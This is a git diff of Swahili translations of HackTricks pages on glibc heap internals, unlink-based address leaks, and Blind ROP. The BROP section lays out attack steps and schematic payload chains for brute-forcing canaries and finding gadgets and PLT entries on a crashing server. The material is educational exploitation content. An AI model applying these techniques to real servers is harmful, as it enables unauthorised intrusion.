```
|
||||
Wekeza kizuizi mwishoni mwa kazi kuu na tujue mahali data ilihifadhiwa:
|
||||
Set a breakpoint at the end of the main function and lets find out where the information was stored:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Inawezekana kuona kuwa string panda ilihifadhiwa kwa `0xaaaaaaac12a0` (ambayo ilikuwa anwani iliyotolewa kama jibu na malloc ndani ya `x0`). Kwa kuangalia 0x10 bytes kabla yake, inawezekana kuona kuwa `0x0` inawakilisha kwamba **kitengo kilichotangulia hakijatumika** (urefu 0) na kwamba urefu wa kitengo hiki ni `0x21`.
|
||||
Ni rahisi kuona kwamba string panda iliwekwa kwenye `0xaaaaaaac12a0` (ambayo ilikuwa anwani iliyotolewa kama jibu na malloc ndani ya `x0`). Kuangalia 0x10 bytes kabla inawezekana kuona kwamba `0x0` inawakilisha kwamba **kipande cha awali hakitumiki** (urefu 0) na kwamba urefu wa kipande hiki ni `0x21`.
|
||||
|
||||
Nafasi za ziada zilizohifadhiwa (0x21-0x10=0x11) zinatokana na **vichwa vilivyozidishwa** (0x10) na 0x1 haimaanishi kwamba ilihifadhiwa 0x21B lakini biti za mwisho 3 za urefu wa kichwa cha sasa zina maana maalum. Kwa kuwa urefu daima ni kielelezo cha 16-baiti (kwenye mashine za 64bits), biti hizi hazitatumika kamwe na nambari ya urefu.
|
||||
Nafasi za ziada zilizohifadhiwa (0x21-0x10=0x11) zinatokana na **vichwa vilivyoongezwa** (0x10) na 0x1 haimaanishi kwamba ilihifadhiwa 0x21B bali bits tatu za mwisho za urefu wa kichwa cha sasa zina maana maalum. Kwa kuwa urefu daima umeunganishwa kwa byte 16 (katika mashine za 64bits), bits hizi kwa kweli hazitakuwa zitatumika na nambari ya urefu.
|
||||
```
|
||||
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
|
||||
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
||||
|
@ -422,7 +424,7 @@ Nafasi za ziada zilizohifadhiwa (0x21-0x10=0x11) zinatokana na **vichwa vilivyoz
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Threadi nyingi</summary>
|
||||
<summary>Multithread</summary>
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
@ -466,35 +468,35 @@ return 0;
|
|||
```
|
||||
</details>
|
||||
|
||||
Kwa kudebug mfano uliopita niwezekana kuona jinsi mwanzoni kuna arena moja tu:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kisha, baada ya kuita thread ya kwanza, ile inayoitisha malloc, arena mpya inaundwa:
|
||||
Kwa kuangalia mfano wa awali, inawezekana kuona jinsi mwanzoni kuna arena 1 tu:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
na ndani yake vipande vingine vinaweza kupatikana:
|
||||
Kisha, baada ya kuita thread ya kwanza, ile inayoiita malloc, arena mpya inaundwa:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bins & Ugawaji/Fungu la Kumbukumbu
|
||||
na ndani yake kuna chunks kadhaa zinazopatikana:
|
||||
|
||||
Angalia ni bins gani na jinsi zinavyoandaliwa na jinsi kumbukumbu inavyotengwa na kuachiliwa katika:
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bins & Memory Allocations/Frees
|
||||
|
||||
Angalia ni zipi bins na jinsi zilivyoandaliwa na jinsi kumbukumbu inavyotolewa na kuachiliwa katika:
|
||||
|
||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Ukaguzi wa Usalama wa Kazi za Heap
|
||||
## Heap Functions Security Checks
|
||||
|
||||
Kazi zinazohusika na heap zitafanya ukaguzi fulani kabla ya kutekeleza vitendo vyake kujaribu kuhakikisha kuwa heap haikuharibiwa:
|
||||
Functions zinazohusiana na heap zitafanya ukaguzi fulani kabla ya kutekeleza vitendo vyake ili kujaribu kuhakikisha kuwa heap haijaharibiwa:
|
||||
|
||||
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
|
||||
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Marejeo
|
||||
## References
|
||||
|
||||
* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
|
||||
* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# unlink
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -63,30 +63,45 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
|||
}
|
||||
}
|
||||
```
|
||||
### Maelezo ya Kielelezo
|
||||
### Graphical Explanation
|
||||
|
||||
Angalia maelezo mazuri ya kielelezo cha mchakato wa unlink:
|
||||
Check this great graphical explanation of the unlink process:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
|
||||
### Ukaguzi wa Usalama
|
||||
### Security Checks
|
||||
|
||||
* Angalia kama ukubwa ulioonyeshwa wa kipande ni sawa na prev\_size iliyoorodheshwa kwenye kipande kifuatacho
|
||||
* Angalia kama saizi iliyotajwa ya kipande ni sawa na prev\_size iliyotajwa katika kipande kinachofuata
|
||||
* Angalia pia kwamba `P->fd->bk == P` na `P->bk->fw == P`
|
||||
* Ikiwa kipande si kidogo, hakikisha kwamba `P->fd_nextsize->bk_nextsize == P` na `P->bk_nextsize->fd_nextsize == P`
|
||||
* Ikiwa kipande si kidogo, angalia kwamba `P->fd_nextsize->bk_nextsize == P` na `P->bk_nextsize->fd_nextsize == P`
|
||||
|
||||
### Vujisho
|
||||
### Leaks
|
||||
|
||||
Kipande kilichounganishwa hakiisafishi anwani zilizotengwa, hivyo kwa kuwa na ufikivu wa kusoma, ni rahisi kuvuja baadhi ya anwani muhimu:
|
||||
Kipande kisichounganishwa hakifutii anwani zilizotengwa, hivyo kuwa na ufikiaji wa rad, inawezekana kuvuja anwani za kuvutia:
|
||||
|
||||
Vujisho vya Libc:
|
||||
Libc Leaks:
|
||||
|
||||
* Ikiwa P iko kichwani mwa orodha iliyounganishwa mara mbili, `bk` itakuwa inaelekeza kwa `malloc_state` katika libc
|
||||
* Ikiwa P iko mwishoni mwa orodha iliyounganishwa mara mbili, `fd` itakuwa inaelekeza kwa `malloc_state` katika libc
|
||||
* Wakati orodha iliyounganishwa mara mbili ina kipande kimoja tu cha bure, P iko katika orodha iliyounganishwa mara mbili, na `fd` na `bk` wanaweza kuvuja anwani ndani ya `malloc_state`.
|
||||
* Ikiwa P iko katika kichwa cha orodha iliyo na viungo viwili, `bk` itakuwa ikielekeza kwa `malloc_state` katika libc
|
||||
* Ikiwa P iko mwishoni mwa orodha iliyo na viungo viwili, `fd` itakuwa ikielekeza kwa `malloc_state` katika libc
|
||||
* Wakati orodha iliyo na viungo viwili ina kipande kimoja tu cha bure, P iko katika orodha iliyo na viungo viwili, na `fd` na `bk` zote zinaweza kuvuja anwani ndani ya `malloc_state`.
|
||||
|
||||
Vujisho vya Heap:
|
||||
Heap leaks:
|
||||
|
||||
* Ikiwa P iko kichwani mwa orodha iliyounganishwa mara mbili, `fd` itakuwa inaelekeza kwa kipande kinachopatikana kwenye heap
|
||||
* Ikiwa P iko mwishoni mwa orodha iliyounganishwa mara mbili, `bk` itakuwa inaelekeza kwa kipande kinachopatikana kwenye heap
|
||||
* Ikiwa P iko katika orodha iliyounganishwa mara mbili, `fd` na `bk` wote watakuwa inaelekeza kwa kipande kinachopatikana kwenye heap
|
||||
* Ikiwa P iko katika kichwa cha orodha iliyo na viungo viwili, `fd` itakuwa ikielekeza kwa kipande kinachopatikana katika heap
|
||||
* Ikiwa P iko mwishoni mwa orodha iliyo na viungo viwili, `bk` itakuwa ikielekeza kwa kipande kinachopatikana katika heap
|
||||
* Ikiwa P iko katika orodha iliyo na viungo viwili, `fd` na `bk` zote zitakuwa zikielekeza kwa kipande kinachopatikana katika heap
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,96 +1,96 @@
|
|||
# BROP - Programu ya Kurudi kwa Utekelezaji wa Kipofu
|
||||
# BROP - Blind Return Oriented Programming
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi la Kuvamia AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi la Kuvamia GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Taarifa Msingi
|
||||
## Taarifa za Msingi
|
||||
|
||||
Lengo la shambulio hili ni kuweza **kutumia ROP kupitia kujaza kijeraha bila habari yoyote kuhusu binary inayoweza kudhuriwa**.\
|
||||
Lengo la shambulio hili ni kuwa na uwezo wa **kuitumia ROP kupitia overflow ya buffer bila taarifa yoyote kuhusu binary iliyo hatarini**.\
|
||||
Shambulio hili linategemea hali ifuatayo:
|
||||
|
||||
* Kijeraha cha stack na maarifa ya jinsi ya kukitumia.
|
||||
* Programu ya seva ambayo huanza upya baada ya kushindwa.
|
||||
* Uthibitisho wa stack na maarifa ya jinsi ya kuichochea.
|
||||
* Programu ya seva inayorejelewa baada ya kuanguka.
|
||||
|
||||
## Shambulio
|
||||
|
||||
### **1. Pata offset inayoweza kudhuriwa** kwa kutuma herufi moja zaidi hadi kosa la seva litambuliwe
|
||||
### **1. Pata offset iliyo hatarini** ukituma herufi moja zaidi hadi kasoro ya seva itambuliwe
|
||||
|
||||
### **2. Jaribu nguvu ya canary** ili kulivuja 
|
||||
### **2. Brute-force canary** ili kuvuja
|
||||
|
||||
### **3. Jaribu nguvu ya RBP na RIP** zilizohifadhiwa kwenye stack ili kulivuja
|
||||
### **3. Brute-force RBP na RIP** anwani katika stack ili kuvuja
|
||||
|
||||
Unaweza kupata habari zaidi kuhusu mchakato huu [hapa (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) na [hapa (BF Anwani kwenye Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
||||
Unaweza kupata maelezo zaidi kuhusu michakato hii [hapa (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) na [hapa (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
||||
|
||||
### **4. Pata kifaa cha kusimamisha**
|
||||
### **4. Pata gadget ya kusimamisha**
|
||||
|
||||
Kifaa hiki kimsingi kuruhusu kuthibitisha kwamba kitu cha kuvutia kimeendeshwa na kifaa cha ROP kwa sababu utekelezaji haukushindwa. Kawaida, kifaa hiki kitakuwa kitu kinachosimamisha utekelezaji na kipo mwishoni mwa mnyororo wa ROP wakati wa kutafuta vifaa vya ROP kuthibitisha kifaa cha ROP kilichoendeshwa maalum
|
||||
Gadget hii kimsingi inaruhusu kuthibitisha kwamba kitu cha kuvutia kimefanywa na gadget ya ROP kwa sababu utekelezaji haukuanguka. Kawaida, gadget hii itakuwa kitu ambacho **kinasimamisha utekelezaji** na iko mwishoni mwa mnyororo wa ROP wakati wa kutafuta gadgets za ROP ili kuthibitisha gadget maalum ya ROP ilitekelezwa.
|
||||
|
||||
### **5. Pata kifaa cha BROP**
|
||||
### **5. Pata gadget ya BROP**
|
||||
|
||||
Mbinu hii hutumia kifaa cha [**ret2csu**](ret2csu.md). Na hii ni kwa sababu ikiwa unafikia kifaa hiki katikati ya maagizo fulani unapata vifaa vya kudhibiti **`rsi`** na **`rdi`**:
|
||||
Teknolojia hii inatumia gadget ya [**ret2csu**](ret2csu.md). Na hii ni kwa sababu ikiwa unapata gadget hii katikati ya maagizo fulani unapata gadgets za kudhibiti **`rsi`** na **`rdi`**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Hivi ndivyo vifaa hivyo vitakavyokuwa:
|
||||
Hizi zingekuwa gadgets:
|
||||
|
||||
* `pop rsi; pop r15; ret`
|
||||
* `pop rdi; ret`
|
||||
|
||||
Gundua jinsi vifaa hivyo vinavyowezesha **kudhibiti hoja 2** za kazi ya kuita.
|
||||
Tazama jinsi kwa gadgets hizo inawezekana **kudhibiti hoja 2** za kazi ya kuita.
|
||||
|
||||
Pia, gundua kuwa kifaa cha ret2csu kina **sahihi ya kipekee sana** kwa sababu kitakuwa kikitoa 6 rejista kutoka kwenye stack. HIVYO kutuma mnyororo kama:
|
||||
Pia, angalia kwamba gadget ya ret2csu ina **saini ya kipekee sana** kwa sababu itakuwa ikipiga 6 registers kutoka kwenye stack. Hivyo kutuma mnyororo kama:
|
||||
|
||||
`'A' * offset + canary + rbp + ANWANI + 0xdead * 6 + SIMAMA`
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
Ikiwa **SIMAMA inatekelezwa**, hii kimsingi inamaanisha **anwani ambayo inapiga 6 rejista** kutoka kwenye stack ilitumiwa. Au kwamba anwani iliyotumiwa pia ilikuwa anwani ya SIMAMA.
|
||||
Ikiwa **STOP inatekelezwa**, hii kimsingi inamaanisha **anwani inayopiga 6 registers** kutoka kwenye stack ilitumika. Au kwamba anwani iliyotumika pia ilikuwa anwani ya STOP.
|
||||
|
||||
Ili **kuondoa chaguo hili la mwisho** mnyororo mpya kama ifuatavyo unatekelezwa na haipaswi kutekeleza kifaa cha SIMAMA kuthibitisha kwamba ile iliyotangulia ilipiga 6 rejista:
|
||||
Ili **kuondoa chaguo hili la mwisho** mnyororo mpya kama ifuatavyo unatekelezwa na haupaswi kutekeleza gadget ya STOP ili kuthibitisha kwamba ya awali ilipiga registers 6:
|
||||
|
||||
`'A' * offset + canary + rbp + ANWANI`
|
||||
`'A' * offset + canary + rbp + ADDR`
|
||||
|
||||
Kwa kujua anwani ya kifaa cha ret2csu, ni rahisi kufikiria anwani za vifaa vya kudhibiti `rsi` na `rdi`.
|
||||
Kujua anwani ya gadget ya ret2csu, inawezekana **kudhani anwani ya gadgets za kudhibiti `rsi` na `rdi`**.
|
||||
|
||||
### 6. Pata PLT
|
||||
|
||||
Jedwali la PLT linaweza kutafutwa kutoka 0x400000 au kutoka kwa **anwani iliyovuja ya RIP** kutoka kwenye stack (ikiwa **PIE** inatumika). **Viingilio** vya jedwali hili vime **tenganishwa na 16B** (0x10B), na wakati kazi moja inaitwa seva haishindwi hata ikiwa hoja sio sahihi. Pia, kuangalia anwani ya kuingia katika **PLT + 6B pia haishindwi** kwani ni msimbo wa kwanza unaotekelezwa.
|
||||
Meza ya PLT inaweza kutafutwa kutoka 0x400000 au kutoka **anwani ya RIP iliyo vuja** kutoka kwenye stack (ikiwa **PIE** inatumika). **Kuingia** za meza zime **gawanywa na 16B** (0x10B), na wakati kazi moja inaitwa seva haianguki hata kama hoja haziko sahihi. Pia, kuangalia anwani ya kuingiza katika **PLT + 6B pia haianguki** kwani ndiyo msimbo wa kwanza unaotekelezwa.
|
||||
|
||||
Hivyo, ni rahisi kupata jedwali la PLT kwa kuangalia tabia zifuatazo:
|
||||
Kwa hivyo, inawezekana kupata meza ya PLT kuangalia tabia zifuatazo:
|
||||
|
||||
* `'A' * offset + canary + rbp + ANWANI + SIMAMA` -> hakuna kushindwa
|
||||
* `'A' * offset + canary + rbp + (ANWANI + 0x6) + SIMAMA` -> hakuna kushindwa
|
||||
* `'A' * offset + canary + rbp + (ANWANI + 0x10) + SIMAMA` -> hakuna kushindwa
|
||||
* `'A' * offset + canary + rbp + ADDR + STOP` -> hakuna kuanguka
|
||||
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> hakuna kuanguka
|
||||
* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> hakuna kuanguka
|
||||
|
||||
### 7. Kupata strcmp
|
||||
### 7. Kutafuta strcmp
|
||||
|
||||
Kazi ya **`strcmp`** inaweka rejista **`rdx`** kwa urefu wa herufi inayolinganishwa. Kumbuka kwamba **`rdx`** ni **hoja ya tatu** na tunahitaji iwe **kubwa kuliko 0** ili baadaye kutumia `write` kulivuja programu.
|
||||
Kazi ya **`strcmp`** inaweka register **`rdx`** kwa urefu wa mfuatano unaolinganishwa. Kumbuka kwamba **`rdx`** ni **hoja ya tatu** na tunahitaji iwe **kubwa kuliko 0** ili baadaye kutumia `write` kuvuja programu.
|
||||
|
||||
Inawezekana kupata mahali pa **`strcmp`** katika PLT kulingana na tabia yake kwa kutumia ukweli kwamba sasa tunaweza kudhibiti hoja 2 za kwanza za kazi:
|
||||
Inawezekana kupata eneo la **`strcmp`** katika PLT kulingana na tabia yake kwa kutumia ukweli kwamba sasa tunaweza kudhibiti hoja 2 za kwanza za kazi:
|
||||
|
||||
* strcmp(\<anwani isiyosomwa>, \<anwani isiyosomwa>) -> kushindwa
|
||||
* strcmp(\<anwani isiyosomwa>, \<anwani iliyosomwa>) -> kushindwa
|
||||
* strcmp(\<anwani iliyosomwa>, \<anwani isiyosomwa>) -> kushindwa
|
||||
* strcmp(\<anwani iliyosomwa>, \<anwani iliyosomwa>) -> hakuna kushindwa
|
||||
* strcmp(\<anwani isiyo ya kusoma>, \<anwani isiyo ya kusoma>) -> kuanguka
|
||||
* strcmp(\<anwani isiyo ya kusoma>, \<anwani ya kusoma>) -> kuanguka
|
||||
* strcmp(\<anwani ya kusoma>, \<anwani isiyo ya kusoma>) -> kuanguka
|
||||
* strcmp(\<anwani ya kusoma>, \<anwani ya kusoma>) -> hakuna kuanguka
|
||||
|
||||
Inawezekana kuthibitisha hii kwa kuita kila kuingia kwenye jedwali la PLT au kwa kutumia **njia polepole ya PLT** ambayo kimsingi inajumuisha **kuita kuingia kwenye jedwali la PLT + 0xb** (ambayo inaita **`dlresolve`**) ikifuatiwa kwenye stack na **namba ya kuingia mtu anayetaka kuchunguza** (kuanzia sifuri) kusoma viingilio vyote vya PLT kutoka kwa la kwanza:
|
||||
Inawezekana kuangalia hii kwa kuita kila kuingiza katika meza ya PLT au kwa kutumia **njia ya polepole ya PLT** ambayo kimsingi inajumuisha **kuita kuingiza katika meza ya PLT + 0xb** (ambayo inaita **`dlresolve`**) ikifuatana kwenye stack na **nambari ya kuingiza ambayo mtu anataka kuchunguza** (ikianza na sifuri) ili kuchunguza kuingiza zote za PLT kutoka ya kwanza:
|
||||
|
||||
* strcmp(\<anwani isiyosomwa>, \<anwani iliyosomwa>) -> kushindwa
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + SIMAMA` -> Itashindwa
|
||||
* strcmp(\<anwani iliyosomwa>, \<anwani isiyosomwa>) -> kushindwa
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + SIMAMA` 
|
||||
* strcmp(\<anwani iliyosomwa>, \<anwani iliyosomwa>) -> hakuna kushindwa
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + SIMAMA` 
|
||||
* strcmp(\<anwani isiyo ya kusoma>, \<anwani ya kusoma>) -> kuanguka
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Itanguka
|
||||
* strcmp(\<anwani ya kusoma>, \<anwani isiyo ya kusoma>) -> kuanguka
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
* strcmp(\<anwani ya kusoma>, \<anwani ya kusoma>) -> hakuna kuanguka
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
|
||||
Kumbuka kwamba:
|
||||
|
||||
|
@ -98,38 +98,54 @@ Kumbuka kwamba:
|
|||
* BROP + 0x9 inaelekeza kwa **`pop RDI; ret;`**
|
||||
* PLT + 0xb inaelekeza kwa wito wa **dl\_resolve**.
|
||||
|
||||
Baada ya kupata `strcmp` ni rahisi kuweka **`rdx`** kwa thamani kubwa kuliko 0.
|
||||
Baada ya kupata `strcmp` inawezekana kuweka **`rdx`** kwa thamani kubwa kuliko 0.
|
||||
|
||||
{% hint style="success" %}
|
||||
Kumbuka kwamba kawaida `rdx` tayari itakuwa na thamani kubwa kuliko 0, hivyo hatua hii inaweza isiwe muhimu.
|
||||
Kumbuka kwamba kawaida `rdx` itakuwa tayari na thamani kubwa kuliko 0, hivyo hatua hii inaweza kuwa si ya lazima.
|
||||
{% endhint %}
|
||||
### 8. Kupata Write au sawa
|
||||
|
||||
Hatimaye, inahitajika kifaa kinachotoa data ili kutoa data ya binary. Na wakati huu ni **inawezekana kudhibiti vigezo 2 na kuweka `rdx` kuwa kubwa kuliko 0.**
|
||||
### 8. Kutafuta Write au sawa
|
||||
|
||||
Kuna kazi 3 za kawaida ambazo zinaweza kutumiwa kwa hili:
|
||||
Hatimaye, inahitajika gadget inayoweza kutoa data ili kutoa binary. Na katika hatua hii inawezekana **kudhibiti hoja 2 na kuweka `rdx` kubwa kuliko 0.**
|
||||
|
||||
Kuna kazi 3 za kawaida ambazo zinaweza kutumika kwa hili:
|
||||
|
||||
* `puts(data)`
|
||||
* `dprintf(fd, data)`
|
||||
* `write(fd, data, len(data)`
|
||||
|
||||
Hata hivyo, karatasi ya awali inataja tu **`write`**, hivyo hebu tuzungumzie kuhusu hilo:
|
||||
Hata hivyo, karatasi ya asili inataja tu ile ya **`write`**, hivyo hebu tuzungumze kuhusu hiyo:
|
||||
|
||||
Tatizo la sasa ni kwamba hatujui **mahali ambapo kazi ya kuandika iko ndani ya PLT** na hatujui **namba ya fd ya kutuma data kwa soketi yetu**.
|
||||
Tatizo la sasa ni kwamba hatujui **wapi kazi ya write iko ndani ya PLT** na hatujui **nambari ya fd ya kutuma data kwa socket yetu**.
|
||||
|
||||
Hata hivyo, tunajua **mahali ambapo jedwali la PLT liko** na ni inawezekana kupata kuandika kulingana na **tabia** yake. Na tunaweza kuunda **mawasiliano kadhaa** na seva na kutumia **FD kubwa** tukitarajia kwamba inalingana na baadhi ya mawasiliano yetu.
|
||||
